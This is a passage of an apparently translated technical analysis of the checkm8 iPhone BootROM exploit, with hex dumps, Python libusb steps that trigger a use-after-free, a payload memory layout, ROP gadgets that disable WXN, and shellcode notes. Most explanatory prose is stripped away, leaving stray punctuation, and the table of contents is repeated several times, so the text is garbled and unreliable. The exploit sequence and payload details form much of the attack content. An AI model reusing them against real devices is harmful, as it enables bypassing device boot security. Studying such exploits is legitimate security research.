43 00 50 00 52 00 56 00 3A 00 1.0. .CPRV:. 00000020: 31 00 31 00 20 00 43 00 50 00 46 00 4D 00 3A 00 1.1. .CPFM:. 00000030: 30 00 33 00 20 00 53 00 43 00 45 00 50 00 3A 00 0.3. .SCEP:. 00000040: 30 00 31 00 20 00 42 00 44 00 49 00 44 00 3A 00 0.1. .BDID:. 00000050: 30 00 43 00 20 00 45 00 43 00 49 00 44 00 3A 00 0.C. .ECID:. 00000060: 30 00 30 00 31 00 41 00 34 00 30 00 33 00 36 00 0.0.1.A.4.0.3.6. 00000070: 32 00 30 00 34 00 35 00 45 00 35 00 32 00 36 00 2.0.4.5.E.5.2.6. 00000080: 20 00 49 00 42 00 46 00 4C 00 3A 00 33 00 43 00 .IBFL:.3.C. 00000090: 20 00 53 00 52 00 54 00 47 00 3A 00 5B 00 69 00 .SRTG:.[.i. 000000A0: 42 00 6F 00 6F 00 74 00 2D 00 32 00 36 00 39 00 Boot-.2.6.9. 000000B0: 36 00 2E 00 30 00 2E 00 30 00 2E 00 31 00 2E 00 6...0...0...1... chunk at 0x9a40 // zlps[0] 0x80 non-free 0x140 0 00000000: 80 00 00 00 00 00 00 00 00 89 08 80 01 00 00 00 ................ 00000010: FF FF FF FF 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000020: 00 00 00 00 00 00 00 00 40 96 1B 80 01 00 00 00 ........@....... 00000030: F0 F1 F2 F3 F4 F5 F6 F7 F8 F9 FA FB FC FD FE FF ................ chunk at 0x9ac0 0x46540 free 0x80 0 00000000: 00 00 00 00 00 00 00 00 F8 8F 08 80 01 00 00 00 ................ 00000010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000040: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000050: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000060: 00 00 00 00 00 00 00 00 01 00 00 00 00 00 00 00 ................ 00000070: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00000080: 00 00 00 00 00 00 00 00 F8 8F 08 80 01 00 00 00 ................ 00000090: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 000000A0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 000000B0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................

, High Speed Full Speed , IO -. , , , . , .

2. IO-

 device = dfu.acquire_device() device.serial_number libusb1_async_ctrl_transfer(device, 0x21, 1, 0, 0, 'A' * 0x800, 0.0001) libusb1_no_error_ctrl_transfer(device, 0x21, 4, 0, 0, 0, 0) dfu.release_device(device)

OUT - . , io_buffer . DFU DFU_CLR_STATUS , DFU .

3. `usb_device_io_request` `use-after-free`

 device = dfu.acquire_device() device.serial_number stall(device) leak(device) leak(device) libusb1_no_error_ctrl_transfer(device, 0, 9, 0, 0, t8010_overwrite, 50)

usb_device_io_request t8010_overwrite , .

t8010_nop_gadget 0x1800B0800 callback next usb_device_io_request .

t8010_nop_gadget , , LR , - free callback - usb_core_complete_endpoint_io . , , .

 bootrom:000000010000CC6C LDP X29, X30, [SP,#0x10+var_s0] // restore fp, lr bootrom:000000010000CC70 LDP X20, X19, [SP+0x10+var_10],#0x20 bootrom:000000010000CC74 RET

next INSECURE_MEMORY + 0x800 . INSECURE_MEMORY , 0x800 callback-chain , .

4.

 for i in range(0, len(payload), 0x800): libusb1_no_error_ctrl_transfer(device, 0x21, 1, 0, 0, payload[i:i+0x800], 50)

. :

 0x1800B0000: t8010_shellcode #  shell-code ... 0x1800B0180: t8010_handler #   usb- ... 0x1800B0400: 0x1000006a5 #     #  SecureROM (0x100000000 -> 0x100000000) #        ... 0x1800B0600: 0x60000180000625 #     #  SecureRAM (0x180000000 -> 0x180000000) #        0x1800B0608: 0x1800006a5 #     #    0x182000000  0x180000000 #           0x1800B0610: disabe_wxn_arm64 #    WXN 0x1800B0800: usb_rop_callbacks # callback-chain

5. `callback-chain`

 dfu.usb_reset(device) dfu.release_device(device)

USB usb_device_io_request . , callback . :

 bootrom:000000010000CC4C LDP X8, X10, [X0,#0x70] ; X0 - usb_device_io_request pointer; X8 = arg0, X10 = call address bootrom:000000010000CC50 LSL W2, W2, W9 bootrom:000000010000CC54 MOV X0, X8 ; arg0 bootrom:000000010000CC58 BLR X10 ; call bootrom:000000010000CC5C CMP W0, #0 bootrom:000000010000CC60 CSEL W0, W0, W19, LT bootrom:000000010000CC64 B loc_10000CC6C bootrom:000000010000CC68 ; --------------------------------------------------------------------------- bootrom:000000010000CC68 bootrom:000000010000CC68 loc_10000CC68 ; CODE XREF: sub_10000CC1C+18↑j bootrom:000000010000CC68 MOV W0, #0 bootrom:000000010000CC6C bootrom:000000010000CC6C loc_10000CC6C ; CODE XREF: sub_10000CC1C+48↑j bootrom:000000010000CC6C LDP X29, X30, [SP,#0x10+var_s0] bootrom:000000010000CC70 LDP X20, X19, [SP+0x10+var_10],#0x20 bootrom:000000010000CC74 RET

, 0x70 . f(x) f x .

, Unicorn Engine . uEmu .

iPhone 7 .

5.1. `dc_civac 0x1800B0600`

 000000010000046C: SYS #3, c7, c14, #1, X0 0000000100000470: RET

. , .

5.2. `dmb`

 0000000100000478: DMB SY 000000010000047C: RET

, , . , , .

5.3. `enter_critical_section()`

5.4. `write_ttbr0(0x1800B0000)`

 00000001000003E4: MSR #0, c2, c0, #0, X0; [>] TTBR0_EL1 (Translation Table Base Register 0 (EL1)) 00000001000003E8: ISB 00000001000003EC: RET

TTBR0_EL1 0x1800B0000 . INSECURE MEMORY , . , :

 ... 0x1800B0400: 0x1000006a5 0x100000000 -> 0x100000000 (rx) ... 0x1800B0600: 0x60000180000625 0x180000000 -> 0x180000000 (rw) 0x1800B0608: 0x1800006a5 0x182000000 -> 0x180000000 (rx) ...

5.5. `tlbi`

 0000000100000434: DSB SY 0000000100000438: SYS #0, c8, c7, #0 000000010000043C: DSB SY 0000000100000440: ISB 0000000100000444: RET

, .

5.6. `0x1820B0610 - disable_wxn_arm64`

 MOV X1, #0x180000000 ADD X2, X1, #0xA0000 ADD X1, X1, #0x625 STR X1, [X2,#0x600] DMB SY MOV X0, #0x100D MSR SCTLR_EL1, X0 DSB SY ISB RET

WXN (Write permission implies Execute-never), RW . WXN - .

5.7. `write_ttbr0(0x1800A0000)`

 00000001000003E4: MSR #0, c2, c0, #0, X0; [>] TTBR0_EL1 (Translation Table Base Register 0 (EL1)) 00000001000003E8: ISB 00000001000003EC: RET

TTBR0_EL1 . BootROM , INSECURE_MEMORY .

5.8. `tlbi`

5.9. `exit_critical_section()`

5.10. `0x1800B0000`

shellcode .

, callback-chain — WXN shellcode RW -.

6. `shellcode`

shellcode src/checkm8_arm64.S :

6.1. `USB` -

usb_core_hs_configuration_descriptor usb_core_fs_configuration_descriptor , . . USB -, shellcode .

6.2。 `USBSerialNumber`

- , " PWND:[checkm8]" . , .

6.3。 `USB` -

USB - , .

6.4. `USB` - `TRAMPOLINE` ( `0x1800AFC00` )

USB - wValue 0xffff , , . , : memcpy , memset exec ( ).

USB

Proof-of-Concept checkm8 Arduino Usb Host Shield . PoC iPhone 7 , . iPhone 7 DFU Usb Host Shield , PWND:[checkm8] , USB - ipwndfu ( , - ..). , , USB -. USB_Host_Shield_2.0 . , patch- .

. checkm8 . , . jailbreak-. , jailbreak checkm8 — checkra1n . , jailbreak ( A5 A11 ) iOS . iWatch , Apple TV . , .

jailbreak, Apple. checkm8 verbose- iOS , SecureROM GID - . , , JTAG/SWD . , , . , checkm8 , Apple .

checkm8漏洞利用的技术分析

引言

checkm8的外观

基本的USB知识

分析apollo.txt

Checkm8分析

1.堆准备（堆风水）

2. IO-

3. `usb_device_io_request` `use-after-free`

4.

5. `callback-chain`

5.1. `dc_civac 0x1800B0600`

5.2. `dmb`

5.3. `enter_critical_section()`

5.4. `write_ttbr0(0x1800B0000)`

5.5. `tlbi`

5.6. `0x1820B0610 - disable_wxn_arm64`

5.7. `write_ttbr0(0x1800A0000)`

5.8. `tlbi`

5.9. `exit_critical_section()`

5.10. `0x1800B0000`

6. `shellcode`

6.1. `USB` -

6.2。 `USBSerialNumber`

6.3。 `USB` -

6.4. `USB` - `TRAMPOLINE` ( `0x1800AFC00` )

USB

参考文献

More articles:

checkm8漏洞利用的技术分析

引言

checkm8的外观

基本的USB知识

分析apollo.txt

Checkm8分析

1.堆准备（堆风水）

2. IO-

3. usb_device_io_request use-after-free

4.

5. callback-chain

5.1. dc_civac 0x1800B0600

5.2. dmb

5.3. enter_critical_section()

5.4. write_ttbr0(0x1800B0000)

5.5. tlbi

5.6. 0x1820B0610 - disable_wxn_arm64

5.7. write_ttbr0(0x1800A0000)

5.8. tlbi

5.9. exit_critical_section()

5.10. 0x1800B0000

6. shellcode

6.1. USB -

6.2。 USBSerialNumber

6.3。 USB -

6.4. USB - TRAMPOLINE ( 0x1800AFC00 )

USB

参考文献

More articles:

3. `usb_device_io_request` `use-after-free`

5. `callback-chain`

5.1. `dc_civac 0x1800B0600`

5.2. `dmb`

5.3. `enter_critical_section()`

5.4. `write_ttbr0(0x1800B0000)`

5.5. `tlbi`

5.6. `0x1820B0610 - disable_wxn_arm64`

5.7. `write_ttbr0(0x1800A0000)`

5.8. `tlbi`

5.9. `exit_critical_section()`

5.10. `0x1800B0000`

6. `shellcode`

6.1. `USB` -

6.2。 `USBSerialNumber`

6.3。 `USB` -

6.4. `USB` - `TRAMPOLINE` ( `0x1800AFC00` )